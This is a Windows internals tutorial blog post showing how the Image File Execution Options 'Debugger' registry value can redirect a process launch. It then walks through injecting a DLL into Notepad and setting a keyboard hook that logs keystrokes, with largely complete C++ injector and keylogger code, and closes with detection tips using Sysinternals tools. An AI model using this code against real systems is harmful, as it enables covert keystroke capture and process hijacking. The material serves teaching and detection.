Keyboard Hook with with Image File Execution Options

Author

Pavel Yosifovich
25+ years as Software developer, trainer, consultant, author, and speaker. Co-author of “Windows Internals”. Author of “Windows Kernel Programming”, “Windows 10 System Programming, as well as System and kernel programming courses and “Windows Internals” series.

A well-known feature of Windows is the Image File Execution Options registry key located in HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options. Under that key, key names with executable files (e.g. Notepad.exe) can be created and various options can be set. These options are observed when a process with the key name (from any directory) is about to be created. A classic tool to set these options is the Gflags.exe utility, available as part of the Debugging Tools for Windows.

One of the useful values is “Debugger” that allows another process (classically, a debugger) to be launched when the specific executable is requested to be launched. This allows debugging startup code in processes that start indirectly, such as Windows Services that are launched by the Service Control Manager (SCM). The “debugger” process is provided with the original executable and the command line with which it was attempted to launch.

Although this value is typical for debuggers, there is nothing in an executable that states it is, in fact, a debugger. This means any executable can be placed there. A simple example is placing “calc.exe” for Notepad.exe key. Here’s the snapshot from Gflags:

image

This setting (after applied) will cause any attempt to launch Notepad.Exe to result in Calc.Exe being launched instead.

This can be a fun thing to do around the office. But let’s look at it in another way. Say we want to inject some code into a target process when it’s launched and stays hidden while leaving no other process lingering around. For example, suppose we wanted to capture keystrokes from Notepad-like applications. We can leverage the “Debugger” value to launch our own process (let’s assume the user was tricked to run some script to set it up – although this does require admin rights); once we launch – we can launch the original intended executable (remember it’s provided to the debugger process as part of the command line). But because we’re doing the launching, we have full privileges to the target process and can inject code in various ways. This post shows one way to do that. I’ll also discuss how one can detect such a presence with freely available tools.

Gain Insider Knowledge

Subscribe to updates from the TrainSec trainers

Key Logger

Let’s use the key logger scenario – we want to know what keys the user is typing in Notepad or a similar application. We’ll need an executable that would do the injection and a DLL to be injected. Let’s make the injector named Injector.Exe and the DLL named Injected.Dll.

Our executable would run instead of Notepad or whatever executable we choose to replace (we’ll set it up as shown above using Gflags; let’s assume it’s already set). This means the command line originally meant for Notepad is now passed to our main function’s command line. Our main function may start like this:

int wmain(int argc, wchar_t* argv[]) {
	assert(argc > 1);

argc must be at least two. argv[0] would be the path to our injector.exe executable and argv[1] would be Notepad’s path. More arguments could be passed along to open a specific file in the case of Notepad. Since we want to create the real Notepad (or whatever), we can build its command line like so:

wchar_t commandLine[MAX_PATH * 2];
wcscpy_s(commandLine, argv[1]);
if (argc > 2) {
	wcscat_s(commandLine, L" ");
	wcscat_s(commandLine, argv[2]);
}

In this case we assume there would be no more than one extra argument, but it would be easy to build it for any number of command line args.

Now we’re ready to create the original process. But there is one important caveat: if we just call CreateProcess normally, the Image Execution File Options would just execute our own injector yet again, and we’ll be in an infinite loop creating injectors, never creating any Notepad process; there must be some way to break the cycle.

Since the “debugger” value is for debuggers – clearly the debugger must be able to create the correct process; the trick is to use the DEBUG_PROCESS flag when creating the process:

PROCESS_INFORMATION pi;
STARTUPINFO si = { sizeof(si) };

// create the actual process with the debug flag to avoid an infinite loop

BOOL bCreated = CreateProcessW(nullptr, commandLine, nullptr, nullptr, FALSE, 
DEBUG_PROCESS, nullptr, nullptr, &si, &pi);

This creates the actual process that we want. Now Notepad is at our mercy, so to speak.

Dll Injection

The next step would be to inject our DLL. The well-known trick here is to create a thread inside the new process that runs the LoadLibrary function since they have the same prototype (return a 32 bit value and accept a pointer) on the binary level. LoadLibrary would load our DLL, for which DllMain would be called. There we can put anything we want that runs in the context of the new process.

Before we can do that, however, we must allocate space and copy the DLL’s path so that LoadLibrary can find its target (it is in Notepad’s address space) (error handling omitted for brevity):

WCHAR path[MAX_PATH];
GetModuleFileName(nullptr, path, MAX_PATH);
*wcsrchr(path, L'\\') = L'\0';
wcscat_s(path, L"\\Injected.Dll");

// allocate buffer for the DLL path name
void* pPathBuffer = VirtualAllocEx(pi.hProcess, nullptr, MAX_PATH * sizeof(WCHAR), 
  MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);

// write the path
WriteProcessMemory(pi.hProcess, pPathBuffer, path, MAX_PATH * sizeof(WCHAR), nullptr);

Before creating the remote thread, there is another minor detail to consider. Eventually, we want our DLL to use the SetWindowsHookEx function to install a keyboard hook on Notepad’s main thread. The problem is – how would the DLL know the thread ID of Notepad’s main thread?

One way to about it is to enumerate all threads in the system with CreateToolhelp32Snapshot, find Notepad and take the first thread ID that shows up. This would probably work, but looks like an overkill, and not very efficient. Our executable knows the main thread ID of Notepad since we’ve created the process and got this info back in the PROCESS_INFORMATION structure. All we need to do is to somehow pass this information to our DLL running under the target process.

One possible way is to tack this information on the command line at the end, hoping this doesn’t bother our target process and then get it from there by calling GetCommandLine and looking for the last argument.

Here’s another way, somewhat unusual. We’ll create a semaphore with a name known to the DLL whose maximum count would be the thread ID and the initial count would be the same. Then our DLL would get a handle to that semaphore, and get back its previous count – the thread ID!

Here’s some code to prepare the semaphore:

// create a semaphore whose count represents the main thread ID
HANDLE hSemaphore = CreateSemaphore(nullptr, pi.dwThreadId, pi.dwThreadId, 
  L"InjectedMainThread");

// duplicate the handle so the semaphore survives after the injecting process goes away
HANDLE hTarget = nullptr;
DuplicateHandle(GetCurrentProcess(), hSemaphore, pi.hProcess, &hTarget, 
  0, FALSE, DUPLICATE_SAME_ACCESS);

The thread would start by loading our injected DLL (in the target process, of course).

One last thing to do. Since we’ve created the target process as a debuggee, our injector process is assumed to be a debugger. By default, when a debugger exists – the target debuggee terminates and we want to prevent that. The following call prevents that from happening:

DebugSetProcessKillOnExit(FALSE);

And the injection is done. Now over to the DLL loaded in the target process.

Windows master developer badge 1

$1,478

$1182 or $120 X 10 payments

Windows Master Developer

Takes you from a “generic” C programmer to a master Windows programmer in user mode and kernel mode.

Setting up the Hook

Our DLL comes alive in the normal DllMain that is made because our remote thread loaded our injected DLL. Here’s what this looks like:

BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, PVOID) {
	switch (reason) {
	case DLL_PROCESS_ATTACH: 
		g_hInstDll = hModule;

		// create a separate thread to set up the hook
		CreateThread(nullptr, 0, SetupHook, nullptr, 0, nullptr);
		break;
	}
	return TRUE;
}

Nothing much going on. We save the module instance for later and create yet another thread to set up the hook. Why don’t we just set it up here? Two reasons: first, doing a lot of things in DllMain is not recommended, as it’s running under the Loader Lock which prevents (among other things) loading of other DLLs. Second, our hook needs a message pump and we can’t tie up DllMain for this.

Our thread sets up the WH_KEYBOARD hook like so:

DWORD CALLBACK SetupHook(PVOID) {
	// get the main thread ID
	HANDLE hSemaphore = OpenSemaphore(SEMAPHORE_ALL_ACCESS, FALSE, L"InjectedMainThread");
	LONG id = 0;
	ReleaseSemaphore(hSemaphore, 0, &id);

	// wait a bit for the main thread to be ready for input
	// we could also call WaitForInputIdle(GetCurrentProcess())
	Sleep(100);

	// set up the hook
	HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD, HookCallback, g_hInstDll, id);

	// pump messages
	MSG msg;
	while (GetMessage(&msg, nullptr, 0, 0))
		DispatchMessage(&msg);

	return 0;
}

Here is where we need the main thread ID of the current process; we get it by calling OpenSemaphore to get to our semaphore, then ReleaseSemaphore reports the previous semaphore count which we use in SetWindowsHookEx.

Finally, our hook procedure can do anything with the key information. For this demo, we’ll just output it to the debugger and use a tool such as DebugView from Sysinternals to capture the output:

LRESULT CALLBACK HookCallback(int code, WPARAM wParam, LPARAM lParam) {
	if (code < 0)
		return CallNextHookEx(nullptr, code, wParam, lParam);

	if (code == HC_ACTION) {
		// log key stroke
		wsprintfW(buffer, L"Pressed: %d, Key code: %d\n", (lParam & (1 << 30)) ? 1 : 0, wParam);
		OutputDebugString(buffer);
	}
	return CallNextHookEx(nullptr, code, wParam, lParam);
}

And that’s it. Here’s some output from DebugView when the user starts notepad in the normal way (after setting up with Gflags) and started typing “Hello”:

image 1

Identifying Injections

Is it possible to detect such injections? Certainly. If we suspect an injected DLL, we can start Process Explorer (the screenshot is for an older version) and look for suspicious DLLs like the following:

image 2

Clearly the injected DLL is there, but in a real scenario it will have an inconspicuous name and some convincing description, so it won’t be easy, since processes typically load dozens of DLLs.

Also if we look at the process tree in Process Explorer, we would find Notepad to be orphaned. Looking at its properties confirms it:

image 3

This should be a red flag, as Notepad’s parent would typically be Explorer, but it’s actually our injector process that is no longer alive. We could point to a different parent by using a process attribute (UpdateProcThreadAttribute), I’ll leave that as an exercise for the interested reader.

Another useful tool is Process Monitor, which can show creation/destruction of processes and threads, Registry and file system activity, and more. For our purposes, we would see the Injector process being created before Notepad, we would see the registry Image File Execution Options key read with the Debugger value. I’ll leave that as an exercise for the interested reader as well.

blue depth

About the author

Pavel Yosifovich
25+ years as Software developer, trainer, consultant, author, and speaker. Co-author of “Windows Internals”. Author of “Windows Kernel Programming”, “Windows 10 System Programming, as well as System and kernel programming courses and “Windows Internals” series.

Black Friday & Cyber Monday Sale Started!

For a limited time, enjoy 25% off ALL available courses for the next month. Whether you’re looking to sharpen your skills or explore new areas of cybersecurity, now’s the perfect time to invest in your growth.

Use code BFRIDAY24 at checkout to claim your discount.

*Excluding bundles and monthly plans.